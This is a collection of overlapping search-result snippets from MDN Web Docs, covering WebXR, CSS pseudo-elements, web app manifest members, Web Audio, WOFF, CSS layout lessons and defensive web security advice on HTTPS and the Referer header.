...be additive if the hardware requires it. inline The output is presented inline within the context of an element in a standard HTML document, rather than occupying the full visual space. Inline sessions can be presented in either mono or stereo mode, and may or may not have viewer tracking available. Inline sessions don't require special hardware and should be avalable on any user agent offering
WebXR API support. Usage notes The XRSessionMode type indicates the values that can be specified when calling XR.isSessionSupported() to determine whether or not the specified session type is supported and available to be used, and by requestSession() to attempt to open a new
WebXR session. The immersive-ar mode supports all the same features and reference spaces that immersive-vr does, since bot...
...e specified when calling XR.isSessionSupported() to determine whether or not the specified session type is supported and available to be used, and by requestSession() to attempt to open a new
WebXR session. The immersive-ar mode supports all the same features and reference spaces that immersive-vr does, since both are immersive sessions. Browsers may support either or both of these modes, but if
WebXR is available, the inline mode is always supported. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XRSessionMode' in that specification. Working Draft Initial definition.
WebXR Augmented Reality ModuleThe definition of 'XRSessionMode: immersive-ar' in that specification. Editor's Draft The immersive-ar value added...
XRSystem: isSessionSupported() - Web APIs
The XRSystem method isSessionSupported() returns a promise which resolves to true if the specified
WebXR session mode is supported by the user's
WebXR device. Otherwise, the promise resolves with false. If the no devices are available or the browser doesn't have permission to use the XR device, the promise is rejected with an appropriate DOMException. Syntax var isSupportedPromise = xr.isSessionSupported(xrSessionMode) Parameters xrSessionMode A DOMString specifying the
WebXR session mode for which support is to be checked. This string must be one of inline (to present the
WebXR content inline within the context of an HTML document) or immersive-vr for a fully-immersive virtual experience. Return value A Promise that resolves to true if the specified session mode is supported; oth...
...sion is supported. If it is, we set up a button to read "Enter XR", to call a method onButtonClicked(), and enable the button. If no session is already underway, we request the VR session and, if successful, set up the session in a method called onSessionStarted(), not shown. If a session is already underway when the button is clicked, we call the xrSession object's end() method to shut down the
WebXR session. if (navigator.xr) { navigator.xr.isSessionSupported('immersive-vr') .then((isSupported) => { if (isSupported) { userButton.addEventListener('click', onButtonClicked); userButton.innerHTML = 'Enter XR'; userButton.disabled = false; } }); } function onButtonClicked() { if (!xrSession) { navigator.xr.requestSession('immersive-vr') .then((session...
... Working Draft Initial definition. ...
XRSystem - Web APIs
With that XRSession in hand, you can use it to interact with the Augmented Reality (AR) or Virtual Reality (VR) device. Properties While XRSystem directly offers no properties, it does inherit properties from its parent interface, EventTarget. Methods In addition to inheriting methods from its parent interface, EventTarget, the XRSystem interface includes the following methods: isSessionSupported() Returns a promise which resolves to true if the browser supports the given XRSessionMode. Resolves to false if the specified mode isn't supported. ...
... }); } function onButtonClicked() { if (!xrSession) { navigator.xr.requestSession('immersive-vr') .then(() => { // onSessionStarted() not shown for reasons of brevity and clarity. onSessionStarted(xrSession); }); } else { // Shut down the already running XRSession xrSession.end() .then(() => xrSession = null); } } This code starts by checking to see if
WebXR is available by looking for the navigator.xr property. If it's found, we know
WebXR is present, so we proceed by establishing a handler for the button which the user can click to toggle immersive VR mode on and off. However, we don't yet know if the desired immersive mode is available. To determine this, we call isSessionSupported(), passing it the desired session option before enabling the bu...
...g and so forth. If, on the other hand, there is already an ongoing XR session, we instead call end() to end the current session. When the returned promise resolves, we set xrSession to null to record the fact that we no longer have an ongoing session. That way, if the user clicks the button again, a new session will start. Specifications Specification Status Comment
WebXR Device APIThe definition of 'XR' in that specification. Working Draft Initial definition. ...
XRView - Web APIs
You can think of it as a description of a specific eye or camera and how it views the world. A 3D frame will involve two views, one for each eye, separated by an appropriate distance which approximates the distance between the viewer's eyes. This allows the two views, when projected in isolation into the appropriate eyes, to simulate a 3D world. Properties eye Read only Which of the two eyes (left) or (right) for which this XRView represents the perspective. ...
...t was passed to XRFrame.getViewerPose(); this is called the viewer reference space. The transform property describes the position and orientation of the eye or camera represented by the XRView, given in that reference space. The destination rendering layer To render a frame, you just iterate over the XRViewerPose's views, rendering each of them into the appropriate viewport within the frame's XR
WebGLLayer. Currently, the specification (and therefore all current implementations of
WebXR) is designed around rendering every XRView into a single XR
WebGLLayer, which is then presented on the XR device with half used for the left eye and half for the right eye. The XRViewport for each view is used to position the rendering into the correct half of the layer. If in the future it becomes possible f...
... Working Draft Initial definition. ...
msWriteProfilerMark - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The msWriteProfilerMark method writes a profiling event. This proprietary method is specific to Internet Explorer and Microsoft Edge. Syntax window.msWriteProfilerMark("start-render"); Parameters bstrProfilerMarkName[in] An event name. Type = String. This parameter may be null. Return value Type: HRESULT. If this method succeeds, it returns S_OK. ...
... Notes msWriteProfilerMark enables you to inject DOM based performance markers in addition to existing Javascript API to learn exactly when parts of the page are being rendered, building a waterfall view for every one of our impressions showing latency per object, which can be useful for more accurately debugging real users perf issues. Internet Explorer 10. This method is also available in the
Web Worker global scope. For Windows XP, this method sends an event to an event tracing session with TraceEvent; for systems after Windows XP, this method writes an event with EventWrite. The event includes a pointer to a window object, current markup, and the event name passed as bstrProfilerMarkName. The bstrProfilerMarkName property has a 32-character limit when called from script. This method...
...Windows XP, this method sends an event to an event tracing session with TraceEvent; for systems after Windows XP, this method writes an event with EventWrite. The event includes a pointer to a window object, current markup, and the event name passed as bstrProfilerMarkName. The bstrProfilerMarkName property has a 32-character limit when called from script. This method is useful to profile real
website performance by using the operating system metrics as a baseline. Example if (msWriteProfilerMark) { msWriteProfilerMark("Mark1"); } See also Microsoft API extensions ...
::-webkit-file-upload-button - CSS: Cascading Style Sheets
The screenshot to the left shows what the button will look like if you are without access to Chrome, Opera or Safari. ...
... Syntax selector::-
webkit-file-upload-button Examples HTML <form> <label for="fileUpload">Upload file</label><br> <input type="file" id="fileUpload"> </form> CSS input, label { display: block; } input[type=file]::-
webkit-file-upload-button { border: 1px solid grey; background: #FFFAAA; } Below is the example for you to try. ...
... type="file". This pseudo-element is non-standard and only supported in
WebKit/Blink compatible browsers like Chrome, Opera and Safari (indicated by the -
webkit prefix). Syntax selector::-
webkit-file-upload-button Examples HTML <form> <label for="fileUpload">Upload file</label><br> <input type="file" id="fileUpload"> </form> CSS input, label { display: block; } input[type=file]::-
webkit-file-upload-button { border: 1px solid grey; background: #FFFAAA; } Below is the example for you to try. The screenshot to the left shows what the button will look like if you are without access to Chrome, Opera or Safari. ScreenshotLive sample Specifications Not part of any standard. ...
::-webkit-meter-bar - CSS: Cascading Style Sheets
The ::-
webkit-meter-bar CSS pseudo-class is a
WebKit extension that represents the meter bar in a <meter> element. Syntax ::-
webkit-meter-bar Specifications Not part of any standard. ...
... The ::-
webkit-meter-bar CSS pseudo-class is a
WebKit extension that represents the meter bar in a <meter> element. Syntax ::-
webkit-meter-bar Specifications Not part of any standard. ...
... The ::-
webkit-meter-bar CSS pseudo-class is a
WebKit extension that represents the meter bar in a <meter> element. Syntax ::-
webkit-meter-bar Specifications Not part of any standard. ...
::-webkit-meter-optimum-value - CSS: Cascading Style Sheets
The ::-
webkit-meter-optimum-value CSS pseudo-element styles the <meter> element when its value is inside the low-high range. Green is the default color. Syntax ::-
webkit-meter-optimum-value Specifications Not part of any standard. Examples This example will only work in browsers based on
WebKit or Blink. ...
... The ::-
webkit-meter-optimum-value CSS pseudo-element styles the <meter> element when its value is inside the low-high range. Green is the default color. Syntax ::-
webkit-meter-optimum-value Specifications Not part of any standard. Examples This example will only work in browsers based on
WebKit or Blink. ...
...timum-value Specifications Not part of any standard. Examples This example will only work in browsers based on
WebKit or Blink. ...
Demos of open web technologies
Mozilla supports a wide variety of exciting open
web technologies, and we encourage their use. This page offers links to interesting demonstrations of these technologies. If you know of a good demonstration or application of open
web technology, please add a link to the appropriate section here. 2D Graphics Canvas Blob Sallad: an interactive blob using JavaScript and canvas (code demos) 3D RayCaster processing.js p5js 3D on 2D Canvas miniPaint: Image editor (source code) Zen Photon Garden (source code) Multi touch in canvas demo (source code) SVG Bubblemenu (visual effects and interaction) HTML transformations using foreignObject (visual effects and transforms) Phonetics Guide (interactive) 3D objects demo (interactive) Blobular (interactive) Video embedded in S...
...mmer HTML image map creator (source code) Video Video 3D Animation "mozilla constantly evolving" Video 3D animation "Floating Dance" Streaming Anime, Movie Trailer and Interview Billy's Browser Firefox Flick Virtual Barber Shop Transformers Movie Trailer A Scanner Darkly Movie Trailer (with built in controls) Events firing and volume control Dragable and sizable videos 3D Graphics
WebGL
Web Audio Fireworks IoQuake3 (source code) Escher puzzle (source code) Kai 'Opua (source code) Virtual Reality The Polar Sea (source code) Sechelt fly-through (source code) CSS CSS Zen Garden CSS floating logo "mozilla" Paperfold CSS Blockout Rubik's cube Pure CSS Slides Planetarium (source code) Loader with blend modes Text reveal with clip-path Ambient shadow with cu...
...CSS CSS Zen Garden CSS floating logo "mozilla" Paperfold CSS Blockout Rubik's cube Pure CSS Slides Planetarium (source code) Loader with blend modes Text reveal with clip-path Ambient shadow with custom properties Luminiscent vial CSS-based single page application (source code) Transformations Impress.js (source code) Games IoQuake3 (source code) Kai 'Opua (source code)
Web APIs Notifications API HTML5 Notifications (source code)
Web Audio API
Web Audio Fireworks oscope.js - JavaScript oscilloscope HTML5
Web Audio Showcase (source code) HTML5 Audio Visualizer (source code) Graphical Filter Editor and Visualizer (source code) File API Slide My Text - presentation from plain text files
Web Workers
Web Worker Fractals Photo editor Coral g...
Writing Web Audio API code that works in every browser - Developer guides
You probably have already read the announcement on the
Web Audio API coming to Firefox, and are totally excited and ready to make your until-now-
WebKit-only sites work with Firefox, which uses the unprefixed version of the spec. Unfortunately, Chrome, Safari and Opera still use the
webkitAudioContext prefixed name. Furthermore, as a result of the spec being still in flux, some browsers use deprecated properties and method names that are not present in standards-compliant browsers: Safari uses the old method names, Firefox uses the new ones, and Chrome and Opera use both. In addition, not all features of
Web Audio are already implemented in Firefox yet. What do we do!? We don't want to maintain two or more separate code bases, and feature detection code is cumbersome! Plus we want to w...
...d tomorrow) First, get a copy of AudioContext-MonkeyPatch by Chris Wilson. This little library will "normalise" the interfaces for you and make it look as if your code is running in a standards compliant browser, by aliasing prefixed names to the unprefixed versions. And it won't do anything if the unprefixed versions are already present. Once you include it in your page, you can write in "modern
Web Audio API" style, and do things such as: var audioContext = new AudioContext(); everywhere, including Chrome/ium, Opera, Safari, and ---of course!--- Firefox. Also, if new methods such as start are not detected in some nodes, the library will also alias them to their old names. Thus, start is mapped to noteOn, stop to noteOff, and so on. If you're porting moderately "old" code (say, a year old) ...
...that configuration simply resulted in silence or a mono output coming out from that node, depending on the build you used. Today the support is already present in Nightly, but not quite yet in Aurora. In the meantime, you can explicitly specify 'equalpower' instead: var panner = new audioContext.PannerNode(); panner.panningModel = 'equalpower'; Note that there's a list of projects built with the
Web Audio API, specifying which ones use the standard AudioContext and which browsers do they work on. If you're a person that learns by example, it might be interesting to have a look at their source and see how they have resolved the compatibility issues. ...
The Web Open Font Format (WOFF) - Developer guides
It uses a compressed version of the same table-based sfnt structure used by TrueType, OpenType, and Open Font Format, but adds metadata and private-use data structures, including predefined fields allowing foundries and vendors to provide license information if desired. There are three main benefits to using WOFF: The font data is compressed, so sites using WOFF will use less bandwidth and will load faster than if they used equivalent uncompressed TrueType or OpenType files. Many font vendors that are unwilling to license their TrueType or OpenType format fonts for use on the
web will license WOFF format fonts. ...
...d fields allowing foundries and vendors to provide license information if desired. There are three main benefits to using WOFF: The font data is compressed, so sites using WOFF will use less bandwidth and will load faster than if they used equivalent uncompressed TrueType or OpenType files. Many font vendors that are unwilling to license their TrueType or OpenType format fonts for use on the
web will license WOFF format fonts. This improves availability of fonts to site designers. Both proprietary and free software browser vendors like the WOFF format, so it has the potential of becoming a truly universal, interoperable font format for the
web, unlike other current font formats. There are two versions of WOFF; WOFF and WOFF2, they mostly differ in regard to the compression algorithm u...
...It works exactly like OpenType and TrueType format fonts do, except it will likely let your content download more efficiently due to the addition of compression. Tools for working with WOFF fonts Tools for working with WOFF fonts are available. sfnt2woff and woff2sfnt convert between WOFF and OpenType. ...
web-share - HTTP
'self': The feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. ...
... Syntax Feature-Policy:
web-share <allowlist>; <allowlist> An allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: The feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': The feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. ...
...nested browsing contexts (iframes) in the same origin. The feature is not allowed in cross-origin documents in nested browsing contexts. 'none': The feature is disabled in top-level and nested browsing contexts. Default policy The default value is 'self'. Specifications Specification Status Comment Feature Policy Editor's Draft Initial definition.
Web Share API Draft ...
WebAssembly.Table.prototype.length - JavaScript
The length prototype property of the
WebAssembly.Table object returns the length of the table, i.e. the number of elements in the table. Syntax table.length; Examples Using length The following example creates a new
WebAssembly Table instance with an initial size of 2 and a maximum size of 10. var table = new
WebAssembly.Table({ element: "anyfunc", initial: 2, maximum: 10 }); You can then grow the table by 1 with the following: console.log(table.length); // "2" console.log(table.grow(1)); // "2" console.log(table.length); // "3" Specifications Specification
WebAssembly JavaScript InterfaceThe definition of 'length' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like ...
...
WebAssembly JavaScript InterfaceThe definition of 'length' in that specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...6Firefox Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).IE No support NoOpera Full support 44Safari Full support 11
WebView Android Full support 57Chrome Android Full support 57Firefox Android Full support 52Notes Full support 52Notes Notes Disabled in the Firefox 52 Extended Support Release (ESR).Opera Android Full supp...
categories - Web app manifests
Type Array of Strings Mandatory No The categories member is an array of strings defining the names of categories that the application supposedly belongs to. There is no standard list of possible values, but the W3C maintains a list of known categories. Note: categories are used only as hints for catalogs or stores listing
web applications. Like search engines and meta keywords, catalogs and stores are free to ignore them. Note: categories values are lower-cased by the stores and catalogs before processing, so "News" and "news" are treated as the same value. Developers are encouraged to use lower case in the first place. Example "categories": ["books", "education", "medical"] Specification Specification Status Comment Feedback ...
...catalogs and stores are free to ignore them. Note: categories values are lower-cased by the stores and catalogs before processing, so "News" and "news" are treated as the same value. ...
...ws" and "news" are treated as the same value. Developers are encouraged to use lower case in the first place. ...
display - Web app manifests
The display mode changes how much of browser UI is shown to the user and can range from browser (when the full browser window is shown) to fullscreen (when the app is full-screened). Note: If the display member is not specified, it defaults to browser. Note: You can selectively apply CSS to your app based on the display mode, using the display-mode media feature. ...
...ill have a minimal set of UI elements for controlling navigation. The elements will vary by browser. ...
...pplication opens in a conventional browser tab or new window, depending on the browser and platform. This is the default. ...
name - Web app manifests
name is directionality-capable, which means it can be displayed left-to-right or right-to-left based on the values of the dir and lang manifest members. ...
...rectionality-capable, which means it can be displayed left-to-right or right-to-left based on the values of the dir and lang manifest members. ...
...members. ...
orientation - Web app manifests
Note: orientation and/or its specific values might not be supported by a user agent on various display modes because supporting them does not make sense for the particular context. Note: The orientation can be changed at runtime via the Screen Orientation API. ...
...xt. Note: The orientation can be changed at runtime via the Screen Orientation API. ...
...lues: any natural landscape landscape-primary landscape-secondary portrait portrait-primary portrait-secondary Examples "orientation": "portrait-primary" Specification Specification Status Comment Feedback
Web App ManifestThe definition of 'orientation' in that specification. Working Draft Initial definition.
Web App Manifest Working Group drafts ...
related_applications - Web app manifests
Type Array Mandatory No The related_applications field is an array of objects specifying native applications that are installable by, or accessible to, the underlying platform -- for example, a native Android application obtainable through the Google Play Store. Such applications are intended to be alternatives to the manifest's
website that provides similar/equivalent functionality -- like the native app equivalent. Note: Developer can specify that the native applications are preferred over the
web application by setting prefer_related_applications to true. Examples "related_applications": [ { "platform": "play", "url": "https://play.google.com/store/apps/details?id=com.example.app1", "id": "com.example.app1" }, { "platform": "itunes",...
...ontain the following values: Member Description platform The platform on which the application can be found. ...
...ound. List of available values url The URL at which the application can be found. id The ID used to represent the application on the specified platform. ...
short_name - Web app manifests
short_name is directionality-capable, which means it can be displayed left-to-right or right-to-left based on the value of the dir and lang manifest members. ...
...t based on the value of the dir and lang manifest members. ...
...tion", "short_name": "Awesome app" short_name in Arabic, which will be displayed right-to-left: "dir": "rtl", "lang": "ar", "name": "????? ...
shortcuts - Web app manifests
When user invokes a shortcut, the user agent will navigate to the address given by shortcut's url member. ...
...When user invokes a shortcut, the user agent will navigate to the address given by shortcut's url member. ...
...is a list of shortcuts a calendar app might have: "shortcuts" : [ { "name": "Today's agenda", "url": "/today", "description": "List of events planned for today" }, { "name": "New event", "url": "/create/event" }, { "name": "New reminder", "url": "/create/reminder" } ] Specification Specification Status Comment Feedback
Web App ManifestThe definition of 'shortcuts' in that specification. Working Draft Initial definition.
Web App Manifest Working Group drafts ...
start_url - Web app manifests
Note: The start_url member is purely advisory, and a user agent may ignore it or allow the user to alter it at install time or afterwards. Examples Absolute URL "start_url": "https://example.com" Relative URL If the URL is relative, the manifest URL is used as the base URL to resolve it. ...
...member is purely advisory, and a user agent may ignore it or allow the user to alter it at install time or afterwards. ...
... URL "start_url": "https://example.com" Relative URL If the URL is relative, the manifest URL is used as the base URL to resolve it. ...
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
This article explains a change that has occured in the way sizes are worked out on
web documents when width and height attributes are set on them. This change means that the aspect ratio of the image is calculated by the browser early on and can then be used to correct the size needed to display the image before it has loaded, if CSS has been applied that causes problems with its display size. Read on to find out more. Jank problems when loading images In the olden days of
web development, it was always seen as a good practice to add width and height attributes to your HTML <img> elements, so that when browsers first loaded the page, they could put a correctly-sized placeholder box in the layout for each image to appear in when it finally loads. Without the width and height attr...
...the <img> element, meaning that the aforementioned jank will not occur when the image loads. It only works before the image loads The new mechanism currently only works on <img> elements before the image is loaded. Originally we were going to have the new mechanism apply the calculated sizing to <img> elements before and after the image has loaded. However, this caused a problem -- a number of
web sites actually use the width and height attributes incorrectly, setting an aspect ratio of something other than the image's intrinsic aspect ratio. Once such an image loads, if the internal aspect ratio is still applied it will result in the <img> not displaying the image correctly. Therefore, once the image is loaded, we start using the intrinsic aspect ratio of the loaded image rather than the...
...ce such an image loads, if the internal aspect ratio is still applied it will result in the <img> not displaying the image correctly. Therefore, once the image is loaded, we start using the intrinsic aspect ratio of the loaded image rather than the aspect ratio from the attributes, so it displays at the correct aspect ratio. Summary So there you have it -- eliminating another piece of jank from
web layout! There is no need for a
web developer to do anything special to their code to take advantage of this, besides returning to the habit of using width and height attributes in their HTML. They'll just get it for free. Note: This new mechanism is enabled in Firefox 69 in beta and Nightly as the spec is worked out (controlled by the layout.css.width-and-height-map-to-aspect-ratio.enabled pref...
Insecure passwords - Web security
forms over HTTP is especially dangerous because of the wide variety of attacks that can be used against them to extract a user's password. Network eavesdroppers could steal a user's password by sniffing the network, or by modifying the served page in transit. The HTTPS protocol is designed to protect user data from eavesdropping (confidentiality) and from modification (integrity) on the network.
Websites that handle user data should use HTTPS to protect their users from attackers. If a
website uses HTTP instead of HTTPS, it is trivial to steal user information (such as their login credentials). This was famously demonstrated by Firesheep. To fix this issue, install and configure an SSL/TLS certificate onto your server. There are various vendors offering free and paid certificates. If you ar...
...P instead of HTTPS, it is trivial to steal user information (such as their login credentials). This was famously demonstrated by Firesheep. To fix this issue, install and configure an SSL/TLS certificate onto your server. There are various vendors offering free and paid certificates. If you are using a cloud platform, it may have its own ways of enabling HTTPS. Note on password reuse Sometimes
websites require username and passwords but don't actually store data that is very sensitive. For example, a news site may save which news articles a user wants to go back to and read, but not save any other data about a user.
Web developers of the news site may be less motivated to secure their site and their user credentials. Unfortunately, password reuse is a big problem. Users use the same passw...
...ords but don't actually store data that is very sensitive. For example, a news site may save which news articles a user wants to go back to and read, but not save any other data about a user.
Web developers of the news site may be less motivated to secure their site and their user credentials. Unfortunately, password reuse is a big problem. Users use the same password across multiple sites (news
websites, social networks, email providers, banks). Hence, even if access to the username and password to your site doesn't seem like a huge risk to you, it is a great risk to users who have used the same username and password to log in to their bank accounts. Attackers are getting smarter; they steal username/password pairs from one site and then try reusing them on more lucrative sites. ...
Referer header: privacy and security concerns - Web security
There are privacy and security risks associated with the Referer HTTP header. This article describes them, and offers advice on mitigating those risks. The referrer problem The Referer (sic) header contains the address of the previous
web page from which a link to the currently requested page was followed, which has lots of fairly innocent uses including analytics, logging, or optimized caching. However, there are more problematic uses such as tracking or stealing information, or even just side effects such as inadvertently leaking sensitive information. For example, consider a "reset password" page with a social media link in a footer. If the link was followed, depending on how information was shared the social media site may receive the reset password URL and may still be able to...
...itting sensitive data in different ways. You should use POST rather than GET wherever possible, to avoid passing sensitive data to other locations via URLs. You should always use HTTPS for your sites. This has many security advantages, including the fact that HTTPS sites will never transmit referer information to non-HTTPS sites. This is becoming less useful in this context now that most of the
web is using HTTPS, but it is still a worthy consideration. In addition, you should consider removing any third party content (e.g. social networking widgets embedded in <iframe>) from secure areas of your
website, like password reset pages, payment forms, login areas, etc. You can also mitigate such risks using: The Referrer-Policy header on your server to control what information is sent throu...
...est forgery (CSRF) protection). helmetjs referrer-policy -- middleware for setting Referrer-Policy in Node.js/Express apps (see also helmetjs for more security provisions). Policy and requirements It would make sense to write a set of security and privacy requirements for your project team(s) that specify usage of such features to mitigate the associated risks. You should enlist the help of a
web security expert to write these requirements, and consider both user needs and welfare, as well as other issues like policy and regulation enforced by legislation such as the EU General Data Protection Regulation (GDPR). ...
Securing your site - Web security
ctices to use when storing passwords. Content security Properly configuring server MIME types There are several ways incorrect MIME types can cause potential security problems with your site. This article explains some of those and shows how to configure your server to serve files with the correct MIME types. HTTP Strict Transport Security The Strict-Transport-Security: HTTP header lets a
website specify that it may only be accessed using HTTPS. HTTP access control The Cross-Origin Resource Sharing standard provides a way to specify what content may be loaded from other domains. You can use this to prevent your site from being used improperly; in addition, you can use it to establish resources that other sites are expressly permitted to use. Content Security Policy An added layer ...
...ontent Security Policy An added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. These attacks are used for everything from data theft to site defacement or distribution of malware. Code is executed by the victims and lets the attackers bypass access controls and impersonate users. According to the Open
Web Application Security Project, XSS was the seventh most common
Web app vulnerability in 2017. The X-Frame-Options response header The X-Frame-Options: HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites. Access c...
...oject, XSS was the seventh most common
Web app vulnerability in 2017. The X-Frame-Options response header The X-Frame-Options: HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites. Access control by configuring a
website It is the best way to secure your site. You can ignore specific IPs, restrict access to certain areas of
website, protect different files, protect against image hotlinking, and a lot more. For example, .htaccess file is used for
websites hosted on Apache HTTP Server. ...
Modifying Web Pages Based on URL - Archive of obsolete content
One or more patterns to match URLs for the pages you want to modify. ...
...The script must be loaded from data. Communicating With the Content Script Your add-on script and content scripts can't directly access each other's variables or call each other's functions, but they can send each other messages. To send a message from one side to the other, sender calls port.emit() and receiver listens using port.on(). In the content script, port is a property of the...
webNavigation - Archive of obsolete content
Most of its methods are callable directly on the element itself, such as goBack and goForward. ...
...Most of its methods are callable directly on the element itself, such as goBack and goForward. ...
Debugging CSS - Learn web development
will look at some useful features of the Firefox DevTools for working with CSS. In order to do so I'll be using an example file. Load this up in a new tab if you want to follow along, and open up your DevTools as described in the article linked above. The DOM versus view source Something that can trip up newcomers to DevTools is the difference between what you see when you view the source of a
webpage, or look at the HTML file you put on the server, and what you can see in the HTML Pane of the DevTools. While it looks roughly similar to what you can see via View Source there are some differences. In the rendered DOM the browser may have corrected some badly-written HTML for you. If you incorrectly closed an element, for instance opening an <h2> but closing with an </h3>, the browser will ...
...rink, chat to a co-worker, or work on some other thing for a while. Sometimes the solution magically appears when you stop thinking about the problem, and even if not, working on it when feeling refreshed will be much easier. Do you have valid HTML and CSS? Browsers expect your CSS and HTML to be correctly written, however browsers are also very forgiving and will try their best to display your
webpages even if you have errors in the markup or stylesheet. If you have mistakes in your code the browser needs to make a guess at what you meant, and it might make a different decision to what you had in mind. In addition, two different browsers might cope with the problem in two different ways. A good first step therefore is to run your HTML and CSS through a validator, to pick up and fix any err...
Overflowing content - Learn web development
made too small for the word and so it breaks out of the box. You might wonder why CSS works in such a messy way, displaying content outside of its intended container. Why not hide overflowing content? Why not scale the size of the container to fit all the content? Wherever possible, CSS does not hide content. This would cause data loss. The problem with data loss is that you might not notice.
Website visitors may not notice. If the submit button on a form disappears and no one can complete the form, this could be a big problem! Instead, CSS overflows in visible ways. You are more likely to see there is a problem. At worst, a site visitor will let you know that content is overlapping. If you restrict a box with a width or a height, CSS trusts you to know what you are doing. CSS assumes th...
...ntent of the box that you have changed the value of overflow for acquires a self-contained layout. Content outside the container cannot poke into the container, and nothing can poke out of that container into the surrounding layout. This enables scrolling behavior, as all box content needs to be contained and not overlap, in order to create a consistent scrolling experience. Unwanted overflow in
web design Modern layout methods (described in CSS layout) manage overflow. They largely work without assumptions or dependencies for how much content there will be on a
web page. This has not always been the norm. In the past, some sites were built with fixed-height containers to align bottoms of boxes. These boxes may otherwise have no relationship to each other. This was fragile. In a legacy ap...
CSS building blocks - Learn web development
is module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling backgrounds and borders, debugging, and lots more. The aim here is to provide you with a toolkit for writing competent CSS and help you understand all the essential theory, before moving on to more specific disciplines like text styling and CSS layout. Looking to become a front-end
web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites Before starting this module, you should have: Basic familiarity with using computers, and using the
Web passively (i.e. just looking at it, consuming the content.) A basic work environment set up as detailed in Installing basic software, and a...
...omfortably inside a box. In this guide, you will learn what it is and how to manage it. CSS values and units Every property used in CSS has a value or set of values that are allowed for that property. In this lesson, we will take a look at some of the most common values and units in use. Sizing items in CSS In the various lessons so far you have come across a number of ways to size items on a
web page using CSS. Understanding how big the different features in your design will be is important, and in this lesson, we will summarize the various ways elements get a size via CSS and define a few terms around sizing that will help you in the future. Images, media, and form elements In this lesson we will take a look at how certain special elements are treated in CSS. Images, other media, and ...
Flexbox - Learn web development
a one-dimensional layout method for laying out items in rows or columns. Items flex to fill additional space and shrink to fit into smaller spaces. This article explains all the fundamentals. Prerequisites: HTML basics (study Introduction to HTML), and an idea of how CSS works (study Introduction to CSS.) Objective: To learn how to use the Flexbox layout system to create
web layouts. Why Flexbox? For a long time, the only reliable cross browser-compatible tools available for creating CSS layouts were things like floats and positioning. These are fine and they work, but in some ways they are also rather limiting and frustrating. The following simple layout requirements are either difficult or impossible to achieve with such tools, in any kind of convenient, f...
...most new browsers -- Firefox, Chrome, Opera, Microsoft Edge and IE 11, newer versions of Android/iOS, etc. However you should be aware that there are still older browsers in use that don't support Flexbox (or do, but support a really old, out-of-date version of it.) While you are just learning and experimenting, this doesn't matter too much; however if you are considering using flexbox in a real
website you need to do testing and make sure that your user experience is still acceptable in as many browsers as possible. Flexbox is a bit trickier than some CSS features. For example, if a browser is missing a CSS drop shadow, then the site will likely still be usable. Not supporting flexbox features however will probably break a layout completely, making it unusable. We discuss strategies for o...
Beginner's guide to media queries - Learn web development
Previous Overview: CSS layout Next The CSS Media Query gives you a way to apply CSS only when the browser and device environment matches a rule that you specify, for example "viewport is wider than 480 pixels". Media queries are a key part of responsive
web design, as they allow you to create different layouts depending on the size of the viewport, but they can also be used to detect other things about the environment your site is running on, for example whether the user is using a touchscreen rather than a mouse. In this lesson you will first learn about the syntax used in media queries, and then move on to use them in a worked example showing how a simple design might be made responsive. Prerequisites: HTML basics (study Introduction to HTML), and an idea of ho...
... you might not need one at all! However, in practice you will find that good use of modern layout methods, enhanced with media queries, will give the best results. Test your skills! You've reached the end of this article, but can you remember the most important information? You can find a test to verify that you've retained this information before you move on -- see Test your skills: Responsive
Web Design. Summary In this lesson you have learned about media queries, and also discovered how to use them in practice to create a mobile first responsive design. You could use the starting point that we have created to test out more media queries. For example, perhaps you could change the size of the navigation if you detect that the visitor has a coarse pointer, using the pointer media feature...
Multiple-column layout - Learn web development
view: CSS layout Next The multiple-column layout specification gives you a method of laying content out in columns, as you might see in a newspaper. This article explains how to use this feature. Prerequisites: HTML basics (study Introduction to HTML), and an idea of How CSS works (study Introduction to CSS.) Objective: To learn how to create multiple-column layout on
webpages, such as you might find in a newspaper. A basic example We will now explore how to use multiple-column layout, often referred to as multicol. You can follow along by downloading the multicol starting point file and adding the CSS into the appropriate places. At the bottom of the section you can see a live example of what the final code should look like. Our starting point contains s...
...is finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </div> Columns and fragmentation The content of a multi-column layout is fragmented. It essentially behaves the same way as content behaves in paged media -- such as when you print a
webpage. When you turn your content into a multicol container it is fragmented into columns, and the content breaks to allow this to happen. Sometimes, this breaking will happen in places that lead to a poor reading experience. In the live example below, I have used multicol to lay out a series of boxes, each of which have a heading and some text inside. The heading becomes separated from the text i...
Normal Flow - Learn web development
Previous Overview: CSS layout Next This article explains normal flow, or the way that
webpage elements lay themselves out if you have not changed their layout. Prerequisites: The basics of HTML (study Introduction to HTML), and an idea of How CSS works (study Introduction to CSS.) Objective: To explain how browsers layout
web pages by default, before we begin to make changes. As detailed in the last lesson introducing layout, elements on a
webpage lay out in the normal flow, if you have not applied any CSS to change the way they behave. And, as we began to discover, you can change how elements behave either by adjusting their position in that normal flow, or removing them from it altogether. Starting with a solid, well-structured document that is read...
...It ensures that your content is readable, even if the user is using a very limited browser or a device such as a screen reader that reads out the content of the page. In addition, as normal flow is designed to make a readable document, by starting in this way you are working with the document rather than fighting against it as you make changes to the layout. ...
Test your skills: Media Queries and Responsive Design - Learn web development
